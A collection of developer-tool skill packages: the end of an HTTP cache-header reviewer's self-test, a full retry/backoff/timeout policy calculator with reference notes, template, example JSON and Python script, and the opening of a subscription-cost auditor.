ok("immutable unhashed", "IMMUTABLE_UNHASHED" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: max-age=86400")
ok("html long ttl", "HTML_LONG_TTL" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache", "ETag: \"1\"")
ok("html no-cache with etag clean", not codes(i) and i["browser_ttl_s"] == 0)
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache")
ok("no validator", "NO_VALIDATOR" in codes(i))
i = one("https://x/login", "Content-Type: text/html", "Cache-Control: public, max-age=600", "Set-Cookie: sid=1")
ok("public with cookie", "PUBLIC_WITH_COOKIE" in codes(i))
i = review(parse_blocks("### GET https://x/api/me\n> Authorization: Bearer t\nHTTP/2 200\ncontent-type: application/json\ncache-control: public, s-maxage=300")[0])
ok("auth shared cache", "AUTH_SHARED_CACHE" in codes(i) and i["shared_ttl_s"] == 300)
i = review(parse_blocks("### GET https://x/api/me\n> Cookie: sid=1\nHTTP/2 200\ncontent-type: application/json\ncache-control: max-age=60")[0])
ok("personal not private", "PERSONAL_NOT_PRIVATE" in codes(i))
i = one("https://x/api/me", "Content-Type: application/json", "Cache-Control: private, max-age=60")
ok("private hides from cdn", i["shared_ttl_s"] == 0 and i["browser_ttl_s"] == 60)
i = one("https://x/a.css", "Cache-Control: no-store, max-age=60")
ok("no-store conflict and asset no caching", {"NO_STORE_CONFLICT", "ASSET_NO_CACHING"} <= codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: *")
ok("vary star", "VARY_STAR" in codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: Accept-Encoding, User-Agent")
ok("vary user-agent fragments", "VARY_FRAGMENTS" in codes(i))
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Last-Modified: Mon, 11 Oct 2026 10:00:00 GMT")
ok("heuristic 10% of 10 days = 1 day", "HEURISTIC_ONLY" in codes(i) and i["browser_ttl_s"] == 86400)
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Expires: Wed, 21 Oct 2026 11:00:00 GMT")
ok("expires only gives 1h", "EXPIRES_ONLY" in codes(i) and i["browser_ttl_s"] == 3600)
i = one("https://x/", "Content-Type: text/html", "Pragma: no-cache")
ok("pragma only", "PRAGMA_ONLY" in codes(i))
i = review(parse_blocks("### GET https://x/a.css\nHTTP/1.1 503 Service Unavailable\ncache-control: public, max-age=3600")[0])
ok("error cached", "ERROR_CACHED" in codes(i))
ok("repeated cache-control merged", parse_blocks("### GET https://x/a\nHTTP/1.1 200\ncache-control: public\ncache-control: max-age=5")[0]["headers"]["cache-control"] == "public, max-age=5")
try:
parse_blocks("HTTP/1.1 200 OK\n")
ok("missing ### rejected", False)
except CacheError:
ok("missing ### rejected", True)
ok("fmt_s", fmt_s(31536000) == "365d" and fmt_s(600) == "10m" and fmt_s(45) == "45s" and fmt_s(699840) == "8.1d")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Review HTTP caching headers.")
ap.add_argument("file", nargs="?", help="responses text file ('-' for stdin)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("responses file required (or --self-test)")
try:
text = sys.stdin.read() if a.file == "-" else open(a.file, encoding="utf-8").read()
r = audit(text)
except (OSError, CacheError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())Checks retry, backoff and timeout settings across a call chain to prevent retry storms. Computes exponential delay schedules with full, equal or decorrelated jitter, worst-case latency per layer, expected tries and request amplification. Flags inner timeouts that outlive the caller, retries of non-idempotent calls, retries on 4xx, ignored Retry-After and missing caps or deadlines. Includes a stdlib Python calculator with --self-test.
---
name: retry-backoff-policy-calculator
description: Checks retry, backoff and timeout settings across a call chain to prevent retry storms. Computes exponential delay schedules with full, equal or decorrelated jitter, worst-case latency per layer, expected tries and request amplification. Flags inner timeouts that outlive the caller, retries of non-idempotent calls, retries on 4xx, ignored Retry-After and missing caps or deadlines. Includes a stdlib Python calculator with --self-test.
---
# Retry and Backoff Policy Calculator
You help engineers set retry, backoff and timeout policies that make services more reliable instead of turning a small outage into a big one. You collect the settings of every hop in a call chain (browser, gateway, services, databases, third-party APIs), compute what they really do under failure, and propose a safer policy with numbers.
## Files in this skill
- `scripts/retry_policy.py` - reads a call-chain JSON and prints delay schedules, worst-case latency, expected tries, amplification and flags (Python 3 standard library only)
- `references/backoff-math.md` - formulas for backoff, jitter, worst-case time, expected tries, amplification and timeout nesting
- `references/retry-safety-guide.md` - what is safe to retry, idempotency keys, circuit breakers, retry budgets, common library settings
- `templates/retry-policy-review.md` - review report with current chain, findings and proposed policy
- `examples/checkout-chain.json` - a three-layer checkout chain with typical mistakes
## Workflow
### 1. Map the chain
Ask for each hop, outermost first: attempts (total tries), base delay, multiplier, max delay, jitter type, per-try timeout, overall deadline, what it retries on (status codes, "timeout", "network"), whether the call is idempotent, whether an idempotency key is sent, and whether Retry-After is honored. Read them from code or config (SDK clients, HTTP client retry adapters, Envoy/Istio routes, gRPC service config, job queues). Unknown values: use the library default and mark them as assumed.
### 2. Run the calculator
```
python3 scripts/retry_policy.py examples/checkout-chain.json
python3 scripts/retry_policy.py chain.json --failure-rate 0.5 --max-amplification 8
python3 scripts/retry_policy.py chain.json --json > retry-report.json
python3 scripts/retry_policy.py --self-test
```
Exit code 1 means high-severity findings, 2 means bad input.
### 3. Explain the findings
Order: RETRY_UNSAFE and AMPLIFICATION first (they cause duplicate side effects and outages), then INNER_OUTLIVES_CALLER, HOT_LOOP, NO_PER_TRY_TIMEOUT, then medium and low. Explain each with the numbers from the report, for example "one checkout can become 36 calls to the payments provider".
### 4. Propose a fixed policy
Use `references/backoff-math.md` and `references/retry-safety-guide.md`: retry at one layer, full jitter with a cap, inner worst case below the caller's per-try timeout, deadlines passed down, idempotency keys for writes, no retries on 4xx except 408/429, Retry-After honored, a retry budget or circuit breaker. Re-run the script on the proposed JSON and show before and after.
### 5. Write it up
Fill `templates/retry-policy-review.md` and give config snippets for the user's library.
## Example result
For `examples/checkout-chain.json` at 30% failure rate: worst-case amplification 36 calls per checkout (expected 2.74); the gateway layer's 9.3 s worst case outlives the web app's 8 s per-try timeout; the payments layer retries a non-idempotent charge 4 times without an idempotency key and retries 409; no jitter at the gateway; Retry-After ignored on 429/503.
## Rules
- Never recommend retrying a non-idempotent call without an idempotency key.
- Keep numbers honest: label library defaults and guesses as assumptions.
- Prefer fewer retries with good timeouts over many retries.
- Recommend load tests or fault injection to confirm the policy, not just the math.
FILE:references/backoff-math.md
# Backoff and Timeout Math
## Terms
- **attempts**: total tries including the first. attempts 3 = 1 try + 2 retries.
- **base**: first retry delay. **multiplier**: growth factor (usually 2). **cap**: max single delay.
- **per-try timeout**: how long one try may take before it is abandoned.
- **deadline**: total time budget for the call including all tries and delays.
## Delay before retry k (k = 1 .. attempts-1)
d(k) = min(cap, base x multiplier^(k-1))
| Jitter | Delay | Range | Mean |
|---|---|---|---|
| none | d | d | d |
| full | random(0, d) | 0 .. d | d/2 |
| equal | d/2 + random(0, d/2) | d/2 .. d | 0.75 d |
| decorrelated | min(cap, random(base, 3 x previous)) | base .. min(cap, base x 3^k) | simulated |
Full jitter spreads load best and is the default recommendation. Equal jitter keeps a minimum wait. Decorrelated jitter adapts to the previous delay and works well for long-running clients.
## Worst-case duration of one call
worst = attempts x per_try_timeout + sum of max delays, then cut at the deadline if one is set.
Example: 3 tries x 1 s + 100 ms + 200 ms = 3.3 s.
## Expected tries
With an independent failure probability p per try and n attempts:
E[tries] = 1 + p + p^2 + ... + p^(n-1)
p = 0.3, n = 3 -> 1.39. During a full outage p = 1 and E = n.
## Amplification across layers
If layer A retries 3 times and calls B, which retries 3 times and calls C, which retries 4 times, one user request can become 3 x 3 x 4 = 36 calls to C during an outage. This is a retry storm: the retries keep the failing service overloaded, so it cannot recover.
Rules of thumb:
- Retry at one layer only, usually the one closest to the user or the one that owns the idempotency key.
- Inner layers: attempts 1 or 2 with a short deadline.
- Keep worst-case amplification at or below about 10.
- Add a **retry budget**: retries may be at most 10-20% of requests over a sliding window; past that, fail fast.
## Timeout nesting
Each layer's worst case must fit inside its caller's per-try timeout, minus a margin for network and work:
inner_worst <= outer_per_try_timeout - margin
Otherwise the caller abandons the try and retries while the inner layer is still working, which doubles load. Pass a deadline down the chain (for example a `grpc-timeout` or `X-Request-Deadline` header) and stop when it is used up.
## Retry-After
For 429 and 503, servers may send `Retry-After: <seconds>` or an HTTP date. Wait at least that long (use max(Retry-After, computed backoff)), and give up if it is longer than the remaining deadline.
FILE:references/retry-safety-guide.md
# Retry Safety Guide
## What to retry
| Outcome | Retry? | Notes |
|---|---|---|
| Connection refused / reset before the request was sent | Yes | Safe for any method |
| Timeout after the request was sent | Only if idempotent or with an idempotency key | The server may have done the work |
| 408 Request Timeout | Yes, with backoff | |
| 429 Too Many Requests | Yes, after Retry-After | Never faster than the server asks |
| 500 Internal Server Error | Sometimes | Only if the error is known to be transient |
| 502 / 503 / 504 | Yes, with backoff and jitter | Honor Retry-After on 503 |
| 400 / 401 / 403 / 404 / 405 / 410 / 422 | No | Same request fails the same way; fix the request, refresh auth once at most |
| 409 Conflict | Usually no | Exception: an idempotency key that is still in progress, retry after a short wait |
## Idempotency
- GET, HEAD, OPTIONS, PUT and DELETE are idempotent by HTTP semantics, if the server implements them correctly.
- POST and PATCH are not. To retry them, send an **idempotency key** (a UUID per logical operation, e.g. `Idempotency-Key` header) that the server stores with the result for 24 hours or more. Generate the key once, before the first try, and reuse it for every retry.
- Payments, emails, SMS, order creation and stock reservation must never be retried without a key.
## Client checklist
1. Per-try timeout set and shorter than the caller's.
2. Overall deadline set and passed down the chain.
3. Exponential backoff with a cap and full jitter.
4. attempts <= 3 at the edge, 1-2 inside.
5. Retry only on the table's "Yes" rows.
6. Idempotency key on every retried non-idempotent call.
7. Retry budget or circuit breaker so retries stop during an outage.
8. Metrics: tries per request, retry rate, give-up count, by dependency.
9. Log the final error with the attempt count, not every attempt at error level.
## Circuit breaker basics
- Closed: calls flow; count failures in a rolling window.
- Open: after for example 50% failures over at least 20 calls, fail fast for 30 s.
- Half-open: let a few trial calls through; close if they succeed.
A breaker and a retry budget together stop retry storms from deepening an outage.
## Common library settings
- AWS SDKs: standard mode = 3 attempts, full jitter, base 1 s for throttling; adaptive mode adds client-side rate limiting.
- gRPC retry policy: maxAttempts, initialBackoff, maxBackoff, backoffMultiplier, retryableStatusCodes (UNAVAILABLE is the usual one); retries need hedging/transparent retry rules for non-idempotent methods.
- Envoy / Istio: retry_on: 5xx,reset,connect-failure; num_retries; per_try_timeout; set route timeout >= per_try_timeout x (num_retries + 1).
- Python `urllib3.Retry(total=3, backoff_factor=0.5, status_forcelist=[502,503,504], respect_retry_after_header=True, allowed_methods=[...])`.
Check the library docs for the version you use; defaults change.
FILE:templates/retry-policy-review.md
# Retry Policy Review - <service / call chain> - <date>
**Reviewer:** <name> **Input:** <chain JSON / config files> **Failure rate assumed:** <30%>
## Chain
| # | Caller -> callee | Attempts | Backoff (base / x / cap) | Jitter | Per-try timeout | Deadline | Worst case |
|---|---|---|---|---|---|---|---|
| 1 | | | | | | | |
**Worst-case amplification:** <36> calls per request (target <= 10)
**Expected amplification at <p>:** <2.7>
## Findings
| Severity | Layer | Code | Problem | Fix |
|---|---|---|---|---|
| high | | | | |
## Proposed policy
| # | Caller -> callee | Attempts | Backoff | Jitter | Per-try timeout | Deadline | Retry on |
|---|---|---|---|---|---|---|---|
| 1 | | | | full | | | |
**New worst-case amplification:** <n> **New worst-case latency:** <s>
## Follow-ups
- [ ] Idempotency keys for: <calls>
- [ ] Retry budget / circuit breaker for: <dependency>
- [ ] Dashboards: tries per request, retry rate, give-ups
FILE:examples/checkout-chain.json
{
"name": "checkout: browser -> api gateway -> orders service -> payments provider",
"failure_rate": 0.3,
"max_amplification": 10,
"layers": [
{
"name": "web app -> api gateway",
"attempts": 3,
"base_delay_ms": 200,
"multiplier": 2,
"max_delay_ms": 2000,
"jitter": "full",
"per_try_timeout_ms": 8000,
"deadline_ms": 20000,
"retry_on": ["network", 502, 503, 504],
"idempotent": true,
"respect_retry_after": true
},
{
"name": "api gateway -> orders service",
"attempts": 3,
"base_delay_ms": 100,
"multiplier": 2,
"max_delay_ms": 1000,
"jitter": "none",
"per_try_timeout_ms": 3000,
"retry_on": [500, 502, 503, 504, "timeout"],
"idempotent": true
},
{
"name": "orders service -> payments provider (create charge)",
"attempts": 4,
"base_delay_ms": 250,
"multiplier": 2,
"jitter": "equal",
"per_try_timeout_ms": 2500,
"deadline_ms": 9000,
"retry_on": [409, 429, 500, 503, "timeout"],
"idempotent": false,
"idempotency_key": false,
"respect_retry_after": false
}
]
}
FILE:scripts/retry_policy.py
#!/usr/bin/env python3
"""Retry and backoff policy calculator (Python 3 standard library only).
Input: a JSON file describing a call chain, outermost caller first:
{"name": "checkout", "failure_rate": 0.3, "max_amplification": 10,
"layers": [
{"name": "web -> api", "attempts": 3, "base_delay_ms": 100, "multiplier": 2,
"max_delay_ms": 2000, "jitter": "full", "per_try_timeout_ms": 5000,
"deadline_ms": 12000, "retry_on": [502, 503, 504, "timeout"],
"idempotent": true, "respect_retry_after": true}, ...]}
attempts = total tries including the first one (attempts 1 = no retries).
jitter: none | full | equal | decorrelated. Delay before retry k (k = 1..attempts-1):
none d = min(cap, base * multiplier^(k-1))
full U(0, d) equal d/2 + U(0, d/2)
decorrelated min(cap, U(base, 3 * previous)) (AWS style; expected value simulated, seed 7)
Reports per layer: delay schedule (min / expected / max), worst-case time for one call
(attempts x per-try timeout + max delays, cut at deadline), expected tries at the given
failure rate, and for the chain: worst-case and expected request amplification at the
innermost dependency. Flags:
NO_JITTER, NO_CAP, HOT_LOOP (base 0), TOO_MANY_ATTEMPTS (> 5), NO_PER_TRY_TIMEOUT,
NO_DEADLINE, DEADLINE_TOO_SHORT (deadline < one per-try timeout), INNER_OUTLIVES_CALLER
(worst case > the outer layer's per-try timeout), RETRY_UNSAFE (non-idempotent with
retries and no idempotency key), RETRY_ON_4XX (retrying 400/401/403/404/409/422),
IGNORES_RETRY_AFTER (retries 429/503 without honoring Retry-After), AMPLIFICATION.
Usage:
python3 retry_policy.py chain.json
python3 retry_policy.py chain.json --failure-rate 0.5 --json
python3 retry_policy.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import json
import random
import sys
JITTERS = ("none", "full", "equal", "decorrelated")
BAD_4XX = {400, 401, 403, 404, 405, 409, 410, 422}
SEVERITY = {"INNER_OUTLIVES_CALLER": "high", "RETRY_UNSAFE": "high", "AMPLIFICATION": "high",
"HOT_LOOP": "high", "NO_PER_TRY_TIMEOUT": "high", "RETRY_ON_4XX": "medium",
"NO_JITTER": "medium", "NO_CAP": "medium", "IGNORES_RETRY_AFTER": "medium",
"NO_DEADLINE": "medium", "DEADLINE_TOO_SHORT": "medium", "TOO_MANY_ATTEMPTS": "low"}
class PolicyError(ValueError):
pass
def num(layer, key, default=None, minimum=0):
v = layer.get(key, default)
if v is None:
return None
if isinstance(v, bool) or not isinstance(v, (int, float)):
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be a number")
if v < minimum:
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be >= {minimum}")
return v
def delays(layer):
"""Return [(min, expected, max)] in ms for each retry."""
n = int(layer["attempts"])
base, mult, cap = layer["base_delay_ms"], layer["multiplier"], layer["max_delay_ms"]
capf = (lambda x: x) if cap is None else (lambda x: min(cap, x))
j = layer["jitter"]
out = []
if j == "decorrelated":
rng = random.Random(7)
runs = 20000
sums = [0.0] * (n - 1)
for _ in range(runs):
prev = base
for k in range(n - 1):
prev = capf(rng.uniform(base, prev * 3)) if base > 0 else 0.0
sums[k] += prev
hi = base
for k in range(n - 1):
hi = capf(hi * 3)
out.append((capf(base), sums[k] / runs, hi))
return out
for k in range(n - 1):
d = capf(base * mult ** k)
if j == "none":
out.append((d, d, d))
elif j == "full":
out.append((0.0, d / 2, d))
else:
out.append((d / 2, d * 0.75, d))
return out
def normalize(raw):
layers = raw.get("layers") if isinstance(raw, dict) else None
if not layers or not isinstance(layers, list):
raise PolicyError("JSON must have a non-empty 'layers' list (outermost caller first)")
out = []
for i, l in enumerate(layers):
if not isinstance(l, dict):
raise PolicyError(f"layer {i} must be an object")
l = dict(l)
l.setdefault("name", f"layer {i + 1}")
a = num(l, "attempts", 1, 1)
if int(a) != a:
raise PolicyError(f"layer {l['name']!r}: attempts must be a whole number")
l["attempts"] = int(a)
l["base_delay_ms"] = num(l, "base_delay_ms", 0)
l["multiplier"] = num(l, "multiplier", 2, 1)
l["max_delay_ms"] = num(l, "max_delay_ms", None)
l["per_try_timeout_ms"] = num(l, "per_try_timeout_ms", None, 1)
l["deadline_ms"] = num(l, "deadline_ms", None, 1)
j = str(l.get("jitter", "none")).lower()
if j not in JITTERS:
raise PolicyError(f"layer {l['name']!r}: jitter must be one of {', '.join(JITTERS)}")
l["jitter"] = j
l["retry_on"] = list(l.get("retry_on", []))
l["idempotent"] = bool(l.get("idempotent", True))
l["idempotency_key"] = bool(l.get("idempotency_key", False))
l["respect_retry_after"] = bool(l.get("respect_retry_after", False))
out.append(l)
return out
def expected_tries(n, p):
if p >= 1:
return float(n)
return sum(p ** k for k in range(n))
def analyze(raw, failure_rate=None, max_amp=None):
layers = normalize(raw)
p = failure_rate if failure_rate is not None else raw.get("failure_rate", 0.2)
if not 0 <= p <= 1:
raise PolicyError("failure rate must be between 0 and 1")
max_amp = max_amp if max_amp is not None else raw.get("max_amplification", 10)
res = {"name": raw.get("name", "retry policy"), "failure_rate": p, "max_amplification": max_amp, "layers": []}
worst_amp, exp_amp = 1, 1.0
for i, l in enumerate(layers):
n = l["attempts"]
ds = delays(l)
flags = []
retries = n > 1
if retries and l["jitter"] == "none":
flags.append(("NO_JITTER", "all clients retry at the same moments; use full or decorrelated jitter"))
if retries and l["max_delay_ms"] is None and n > 3:
flags.append(("NO_CAP", "no max_delay_ms; exponential delays grow without bound"))
if retries and l["base_delay_ms"] == 0:
flags.append(("HOT_LOOP", "base_delay_ms is 0; retries fire immediately and hammer the dependency"))
if n > 5:
flags.append(("TOO_MANY_ATTEMPTS", f"{n} attempts; 3 (2 retries) is usually enough"))
if l["per_try_timeout_ms"] is None:
flags.append(("NO_PER_TRY_TIMEOUT", "no per-try timeout; one hung call can block every retry"))
if l["deadline_ms"] is None and retries:
flags.append(("NO_DEADLINE", "no overall deadline across attempts"))
if l["deadline_ms"] is not None and l["per_try_timeout_ms"] and l["deadline_ms"] < l["per_try_timeout_ms"]:
flags.append(("DEADLINE_TOO_SHORT", "deadline is shorter than a single try"))
if retries and not l["idempotent"] and not l["idempotency_key"]:
flags.append(("RETRY_UNSAFE", "retries a non-idempotent call without an idempotency key (double charge / duplicate write risk)"))
bad = sorted(c for c in l["retry_on"] if isinstance(c, int) and c in BAD_4XX)
if retries and bad:
flags.append(("RETRY_ON_4XX", f"retries client errors {bad}; they will fail the same way again"))
if retries and any(c in (429, 503) for c in l["retry_on"]) and not l["respect_retry_after"]:
flags.append(("IGNORES_RETRY_AFTER", "retries 429/503 but ignores the Retry-After header"))
max_delay_total = sum(d[2] for d in ds)
exp_delay_total = sum(d[1] for d in ds)
worst = None
if l["per_try_timeout_ms"] is not None:
worst = n * l["per_try_timeout_ms"] + max_delay_total
if l["deadline_ms"] is not None:
worst = min(worst, l["deadline_ms"])
elif l["deadline_ms"] is not None:
worst = l["deadline_ms"]
if i > 0:
parent = layers[i - 1]
pt = parent["per_try_timeout_ms"]
if pt is not None and (worst is None or worst > pt):
flags.append(("INNER_OUTLIVES_CALLER", f"worst case {fmt_ms(worst)} > caller per-try timeout {fmt_ms(pt)}; the caller gives up and retries while this layer is still working"))
et = expected_tries(n, p)
worst_amp *= n
exp_amp *= et
res["layers"].append({
"name": l["name"], "attempts": n, "jitter": l["jitter"],
"delays_ms": [[round(a, 1), round(b, 1), round(c, 1)] for a, b, c in ds],
"max_delay_total_ms": round(max_delay_total, 1), "expected_delay_total_ms": round(exp_delay_total, 1),
"per_try_timeout_ms": l["per_try_timeout_ms"], "deadline_ms": l["deadline_ms"],
"worst_case_ms": None if worst is None else round(worst, 1),
"expected_tries": round(et, 3), "cumulative_worst_amplification": worst_amp,
"cumulative_expected_amplification": round(exp_amp, 3),
"flags": [{"code": c, "severity": SEVERITY[c], "detail": d} for c, d in flags]})
if worst_amp > max_amp:
res["layers"][-1]["flags"].append({"code": "AMPLIFICATION", "severity": "high",
"detail": f"one top-level request can become {worst_amp} calls to the innermost dependency during an outage (limit {max_amp}); retry at one layer only or add a retry budget"})
res["worst_amplification"] = worst_amp
res["expected_amplification"] = round(exp_amp, 3)
res["high_flags"] = sum(1 for l in res["layers"] for f in l["flags"] if f["severity"] == "high")
return res
def fmt_ms(v):
if v is None:
return "unbounded"
if v >= 1000:
s = f"{v / 1000:.2f}".rstrip("0").rstrip(".")
return s + " s"
return f"{v:g} ms"
def to_markdown(r):
out = [f"# Retry policy report: {r['name']}", "",
f"Failure rate used for expected values: {r['failure_rate']:.0%}", "",
"| Layer | Attempts | Jitter | Max total delay | Per-try timeout | Deadline | Worst case | Expected tries |",
"|---|---|---|---|---|---|---|---|"]
for l in r["layers"]:
out.append(f"| {l['name']} | {l['attempts']} | {l['jitter']} | {fmt_ms(l['max_delay_total_ms'])} | "
f"{fmt_ms(l['per_try_timeout_ms'])} | {fmt_ms(l['deadline_ms'])} | {fmt_ms(l['worst_case_ms'])} | {l['expected_tries']:g} |")
out += ["", "## Delay schedule (min / expected / max)"]
for l in r["layers"]:
if not l["delays_ms"]:
out.append(f"- {l['name']}: no retries")
continue
parts = [f"retry {k + 1}: {fmt_ms(a)} / {fmt_ms(b)} / {fmt_ms(c)}" for k, (a, b, c) in enumerate(l["delays_ms"])]
out.append(f"- {l['name']}: " + "; ".join(parts))
out += ["", "## Amplification at the innermost dependency",
f"- Worst case (every try fails): {r['worst_amplification']} calls per top-level request",
f"- Expected at {r['failure_rate']:.0%} failure rate: {r['expected_amplification']:g} calls per top-level request", "",
"## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for l in r["layers"]:
for f in l["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** ({l['name']}): {f['detail']}")
if not n:
out.append("- No findings.")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(**kw):
base = {"name": "x", "attempts": 3, "base_delay_ms": 100, "multiplier": 2, "max_delay_ms": 1000,
"jitter": "full", "per_try_timeout_ms": 1000, "deadline_ms": 5000, "retry_on": [503],
"respect_retry_after": True}
base.update(kw)
return base
def codes(r, i=0):
return {f["code"] for f in r["layers"][i]["flags"]}
d = delays(normalize({"layers": [one(jitter="none", attempts=5)]})[0])
ok("exponential no jitter 100,200,400,800", [x[2] for x in d] == [100, 200, 400, 800])
d = delays(normalize({"layers": [one(jitter="none", attempts=6)]})[0])
ok("cap applied at 1000", d[-1][2] == 1000 and d[-2][2] == 800)
d = delays(normalize({"layers": [one(jitter="full")]})[0])
ok("full jitter mean half", d[0] == (0.0, 50.0, 100))
d = delays(normalize({"layers": [one(jitter="equal")]})[0])
ok("equal jitter 50..100 mean 75", d[0] == (50.0, 75.0, 100))
d = delays(normalize({"layers": [one(jitter="decorrelated", attempts=4)]})[0])
ok("decorrelated within bounds", all(a <= b <= c for a, b, c in d) and d[0][2] == 300 and d[2][2] == 1000)
r = analyze({"layers": [one()]})
ok("clean policy has no flags", not codes(r))
ok("worst case = 3x1000 + 100 + 200", r["layers"][0]["worst_case_ms"] == 3300)
r = analyze({"layers": [one(deadline_ms=2000)]})
ok("deadline caps worst case", r["layers"][0]["worst_case_ms"] == 2000)
ok("expected tries p=0.5 n=3 is 1.75", expected_tries(3, 0.5) == 1.75 and expected_tries(3, 1) == 3)
ok("no jitter flagged", "NO_JITTER" in codes(analyze({"layers": [one(jitter="none")]})))
ok("hot loop flagged", "HOT_LOOP" in codes(analyze({"layers": [one(base_delay_ms=0)]})))
ok("no cap flagged with 4+ attempts", "NO_CAP" in codes(analyze({"layers": [one(max_delay_ms=None, attempts=4)]})))
ok("unsafe retry flagged", "RETRY_UNSAFE" in codes(analyze({"layers": [one(idempotent=False)]})))
ok("idempotency key makes it safe", "RETRY_UNSAFE" not in codes(analyze({"layers": [one(idempotent=False, idempotency_key=True)]})))
ok("4xx retry flagged", "RETRY_ON_4XX" in codes(analyze({"layers": [one(retry_on=[400, 503])]})))
ok("Retry-After ignored flagged", "IGNORES_RETRY_AFTER" in codes(analyze({"layers": [one(retry_on=[429], respect_retry_after=False)]})))
ok("single attempt is not a retry policy", not codes(analyze({"layers": [one(attempts=1, jitter="none", deadline_ms=None)]})))
r = analyze({"layers": [one(per_try_timeout_ms=2000, deadline_ms=None), one(per_try_timeout_ms=1000, deadline_ms=None)]})
ok("inner outlives caller flagged", "INNER_OUTLIVES_CALLER" in codes(r, 1))
r = analyze({"layers": [one(per_try_timeout_ms=4000), one(per_try_timeout_ms=1000, deadline_ms=3500)]})
ok("inner within caller timeout ok", "INNER_OUTLIVES_CALLER" not in codes(r, 1))
r = analyze({"layers": [one(), one(), one()], "max_amplification": 10})
ok("3x3x3 amplification 27 flagged", r["worst_amplification"] == 27 and "AMPLIFICATION" in codes(r, 2))
r = analyze({"layers": [one(), one()]}, failure_rate=0.5)
ok("expected amplification 1.75^2", r["expected_amplification"] == 3.062)
for bad, label in ((({"layers": []}), "empty layers rejected"), (({"layers": [one(jitter="random")]}), "bad jitter rejected"),
(({"layers": [one(attempts=0)]}), "zero attempts rejected"), (({"layers": [one(attempts=2.5)]}), "fractional attempts rejected")):
try:
analyze(bad)
ok(label, False)
except PolicyError:
ok(label, True)
ok("fmt_ms", fmt_ms(1500) == "1.5 s" and fmt_ms(250) == "250 ms" and fmt_ms(None) == "unbounded")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check retry/backoff/timeout policies across a call chain.")
ap.add_argument("file", nargs="?", help="chain JSON ('-' for stdin)")
ap.add_argument("--failure-rate", type=float, help="probability that one try fails (default from file or 0.2)")
ap.add_argument("--max-amplification", type=float, help="flag chains above this worst-case amplification (default 10)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("chain JSON required (or --self-test)")
try:
raw = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = analyze(raw, a.failure_rate, a.max_amplification)
except (OSError, PolicyError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())Audits recurring subscriptions (streaming, apps, gym, cloud storage, news) from a simple CSV: true monthly and yearly cost in one currency, your share of family plans, renewals and trial conversions in the next 30 days, unused services, overlapping services in one category, price increases, and annual plans that would save money. Ends with a cancel/keep/downgrade action list. Includes a stdlib Python auditor with --self-test.
---
name: subscription-spending-auditor
description: Audits recurring subscriptions (streaming, apps, gym, cloud storage, news) from a simple CSV: true monthly and yearly cost in one currency, your share of family plans, renewals and trial conversions in the next 30 days, unused services, overlapping services in one category, price increases, and annual plans that would save money. Ends with a cancel/keep/downgrade action list. Includes a stdlib Python auditor with --self-test.
---
# Subscription Spending Auditor
You help people see what their subscriptions really cost and decide what to keep. You turn bank statement lines, app store receipts, or a rough list into one table, convert every charge to the same currency and to monthly and yearly amounts, and point out the easy wins: services nobody uses, three video services where one would do, trials about to turn into paid plans, quiet price increases, and annual plans that are cheaper if the service is kept anyway. The user decides; you make the trade-offs visible.
## Files in this skill
- `scripts/sub_audit.py` - reads a subscriptions CSV and prints totals, your share of shared plans, category totals, upcoming charges, and flags (TRIAL, RENEWS_YEARLY, UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES) (Python 3 standard library only)
- `references/cost-normalization.md` - how cycles, currencies, shared plans, trials and price changes are converted, with the formulas
- `references/cancellation-playbook.md` - how to cancel, pause, downgrade or negotiate, and how to avoid surprise renewals
- `templates/subscription-review.md` - a one-page review with decisions and reminders
- `examples/subscriptions.csv` - 12 sample subscriptions in EUR and USD with weekly, monthly, quarterly and yearly cycles, a shared family plan, a trial, unused services and price increases
## Workflow
### 1. Build the list
Ask the user to scan the last 12 months of bank and card statements, app store and Google Play subscriptions, PayPal automatic payments, and email receipts (search "renewal", "subscription", "receipt", "trial"). Put each item in the CSV shape of `examples/subscriptions.csv`. Required columns: name, amount, cycle. Helpful: currency, next_renewal, category, last_used (an honest guess is fine), users (people sharing the plan), trial_end and paid_after_trial, previous_amount, annual_price.
### 2. Run the auditor
```
python3 scripts/sub_audit.py examples/subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 scripts/sub_audit.py subs.csv --currency USD --rate EUR=1.08 --rate GBP=1.27 --days 45 --unused-days 60
python3 scripts/sub_audit.py subs.csv --json > audit.json
python3 scripts/sub_audit.py --self-test
```
